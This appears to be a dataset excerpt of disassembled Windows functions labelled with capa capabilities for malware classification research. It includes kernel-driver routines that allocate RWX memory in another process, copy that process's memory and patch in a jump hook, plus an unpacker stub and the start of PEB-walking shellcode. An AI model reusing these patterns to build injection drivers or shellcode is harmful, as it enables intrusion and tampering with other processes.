joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009a4f0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14009a698
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14009a555
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14009a555
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14009a555
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.ws2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.ws2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14009a58c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14009a5e2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009a5e2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009a5e2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009a5e2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009a5e2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140099fa0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.ws2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14009a644
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
lea rdx, [0x1400c7980]
mov rcx, rbp
mov r8d, eax
call fcn.140076720
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14009a370
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.ws2_32.dll_send]
test eax, eax
jns 0x14009a690
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
lea rdx, [0x1400c7980]
mov rcx, rbp
mov r8d, eax
call fcn.140076720
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14009be00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140162500]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14009be95
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call fcn.1400b0b2a
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14009bef6
lea rdx, [0x1400c8210]
mov rcx, rdi
call fcn.140076720
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400af440
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14009bfb1
sub ecx, 1
je 0x14009c024
sub ecx, 1
je 0x14009bf60
cmp ecx, 1
je 0x14009bf43
lea r8, [0x1400c8240]
mov rcx, rdi
lea rdx, [0x1400b53e0]
call fcn.140076720
jmp 0x14009c024
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14009bb30
test eax, eax
je 0x14009c024
jmp 0x14009beca
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14009c024
sub rax, rsi
cmp rax, rbp
jae 0x14009c024
mov r8, rsi
lea rdx, [0x1400c8230]
mov rcx, rdi
call fcn.1400768a0
jmp 0x14009c024
cmp r8d, 4
jle 0x14009c024
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14009c024
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140076640
mov esi, eax
test eax, eax
je 0x14009c003
mov edx, 5
mov rcx, rbx
call fcn.14009caf0
mov eax, esi
jmp 0x14009beca
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140084f20
mov rcx, r14
call fcn.140085200
test eax, eax
je 0x14009bec8
mov edx, 5
mov rcx, rbx
call fcn.14009caf0
mov eax, 0x2a
jmp 0x14009beca
Function at 0x1400aedc0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.ucrtbase.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400aee02
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400aee49
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + 8]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + 0x10]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400aeea2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + 8]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + 8]
sub rbp, 1
jne 0x1400aee60
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400aeee3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400caaa2]
mov r8d, 1
call qword [rbx + 8]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400caaa3]
mov r8d, 1
call qword [rbx + 8]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400aeeb0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400aff8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400affd6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400affd6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400affd6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400affd6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400affd6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400affd8
xor al, al
add rsp, 0x28
ret

Function at 0x1400b02d8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, [0x1400cabf0]
mov r9d, 2
call qword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400b0312
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400b0317
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.kernel32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400b0360
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400caaf0]
cmp byte [rcx + rax], 0
je 0x1400b0360
dec r8
sub rdx, 1
jne 0x1400b0346
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x141871058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1418711df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141871089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14187106f
add dl, dl
jne 0x141871096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1418710f6
xor eax, eax
add dl, dl
jne 0x1418710a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1418711ad
add dl, dl
jne 0x1418710b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1418710c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1418710d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1418710dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1418710ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14187107e
mov eax, 1
add dl, dl
jne 0x141871106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141871113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1418710fb
sub eax, ebx
mov ebx, 1
jne 0x14187114c
mov ecx, 1
add dl, dl
jne 0x14187112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14187113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141871123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14187107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141871168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141871175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14187115d
cmp eax, 0x7d00
jae 0x14187119b
cmp eax, 0x500
jb 0x141871196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14187107e
cmp eax, 0x7f
ja 0x14187119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14187107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1418711d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14187107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Allocate user process rwx memory
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x140001075
lfence
lea rcx, [0x1400022b0]
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [rsp + 0x30]
jmp 0x140001105
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x98]
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
cmp dword [rsp + 0x30], 0
jge 0x1400010e8
lfence
lea rcx, [0x1400022d0]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [rsp + 0x30]
jmp 0x140001105
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x88
ret

Function at 0x14000111c
Capabilities:
Allocate or change rwx memory
Allocate user process rwx memory
Attach user process memory
Find process by pid

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x14000117e
lfence
mov eax, dword [rsp + 0x30]
jmp 0x1400011fb
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xa8]
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x98]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1400011e1
cmp qword [rsp + 0xb0], 0
je 0x1400011e1
mov rax, qword [rsp + 0xb0]
mov ecx, dword [rsp + 0x34]
mov dword [rax], ecx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x88
ret
Function at 0x140001244
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x60], 0
jne 0x14000126b
xor al, al
jmp 0x140001379
lea rdx, [0x140002300]
lea rcx, [0x140002310]
call fcn.1400015f4
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001292
xor al, al
jmp 0x140001379
mov rdx, qword [rsp + 0x28]
lea rcx, [0x140002340]
call sub.ntoskrnl.exe_DbgPrint
mov byte [rsp + 0x38], 0x8b
mov byte [rsp + 0x39], 4
mov byte [rsp + 0x3a], 0x24
mov byte [rsp + 0x3b], 0x89
mov byte [rsp + 0x3c], 0x41
mov byte [rsp + 0x3d], 0x44
mov byte [rsp + 0x3e], 0xc7
mov byte [rsp + 0x3f], 0x41
mov byte [rsp + 0x40], 0x30
mov byte [rsp + 0x41], 0xf
mov byte [rsp + 0x42], 0
mov byte [rsp + 0x43], 0x10
mov byte [rsp + 0x20], 0x48
mov byte [rsp + 0x21], 0xb8
mov byte [rsp + 0x24], 0xff
mov byte [rsp + 0x25], 0xe0
mov edx, 0xc
lea rcx, [rsp + 0x38]
call fcn.140001ea0
mov r8d, 2
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.140002000
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3a]
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140002000
lea rax, [rsp + 0x42]
mov r8d, 2
lea rdx, [rsp + 0x24]
mov rcx, rax
call fcn.140002000
mov r8d, 0xc
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.140001dd0
mov rdx, qword [rsp + 0x28]
lea rcx, [0x140002360]
call sub.ntoskrnl.exe_DbgPrint
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001ee0
add rsp, 0x58
ret
Function at 0x1400014a8
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
xor edx, edx
mov ecx, 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x20], 0
jne 0x1400014e1
xor eax, eax
jmp 0x1400015ef
mov eax, dword [rsp + 0x20]
mov r8d, 0x4e554c4c
mov edx, eax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
mov ecx, 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jge 0x140001525
xor eax, eax
jmp 0x1400015ef
mov rax, qword [rsp + 0x30]
add rax, 8
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x24], 0
jmp 0x140001559
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax]
cmp dword [rsp + 0x24], eax
jae 0x1400015c9
lfence
mov eax, dword [rsp + 0x24]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x28]
mov rdx, qword [rsp + 0x60]
mov rcx, rax
call sub.ntoskrnl.exe_strcmp
test eax, eax
jne 0x1400015c7
lfence
mov eax, dword [rsp + 0x24]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx + rax + 0x10]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x24]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
jmp 0x1400015c9
jmp 0x14000154f
cmp qword [rsp + 0x30], 0
je 0x1400015de
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp qword [rsp + 0x40], 0
ja 0x1400015ea
xor eax, eax
jmp 0x1400015ef
mov rax, qword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x140001990
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x78], 0
je 0x1400019c6
cmp qword [rsp + 0x80], 0
je 0x1400019c6
cmp qword [rsp + 0x88], 0
jne 0x1400019ca
xor al, al
jmp 0x140001a3a
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x80]
mov r8, rax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
call sub.ntoskrnl.exe_MmCopyVirtualMemory
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140001a38
xor al, al
jmp 0x140001a3a
mov al, 1
add rsp, 0x68
ret
Function at 0x140002480
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, 0x10
lea rbx, [0x140010118]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rcx, qword [0x140010128]
mov r9d, eax
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
mov rdx, qword [0x140010130]
sub r9d, eax
add r9b, 0x5a
cmp rcx, rdx
jae 0x1400024f3
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [0x140010128], rax
mov rax, rbx
cmova rax, qword [0x140010118]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400024fb
mov rcx, rbx
call fcn.140009340
sub rdi, 1
jne 0x140002496
cmp qword [0x140010130], 0xf
cmova rbx, qword [0x140010118]
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
Function at 0x140009a38
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140009a72
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140009a77
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140009ac0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000c450]
cmp byte [rcx + rax], 0
je 0x140009ac0
dec r8
sub rdx, 1
jne 0x140009aa6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000aa94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000aade
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000aade
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000aade
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000aade
cmp dword [rcx + 0x84], 0xe
jbe 0x14000aade
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000aae0
xor al, al
add rsp, 0x28
ret
Function at 0x14001e4b0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14001e4bd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14001e4cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14001e4b5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14001e4e5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14001e4d2
sub eax, 3
jb 0x14001e4ff
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14001e536
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14001e526
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14001e524
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14001e513
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14001e472
jmp 0x14001e4bd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x7000
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14001e582
cmp rsi, rcx
jae 0x14001e58a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14001e569
cmp al, 0x8f
ja 0x14001e569
cmp byte [rsi - 2], 0xf
je 0x14001e56f
sub al, 0xe8
cmp al, 1
ja 0x14001e553
cmp rsi, rcx
jae 0x14001e58a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14001e559
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14001e58a
lodsb al, byte [rsi]
jmp 0x14001e569
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1c000]
mov eax, dword [rdi]
or eax, eax
je 0x14001e5e7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x29728]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14001e597
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14001e5e1
mov qword [rbx], rax
add rbx, 8
jmp 0x14001e5b7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14001e621
cmp al, 0xef
ja 0x14001e613
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14001e5f3
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14001e602
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14001e6a0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14001e6a0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14001e690
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
push rsi
mov rdx, qword [rdx + 0x18]
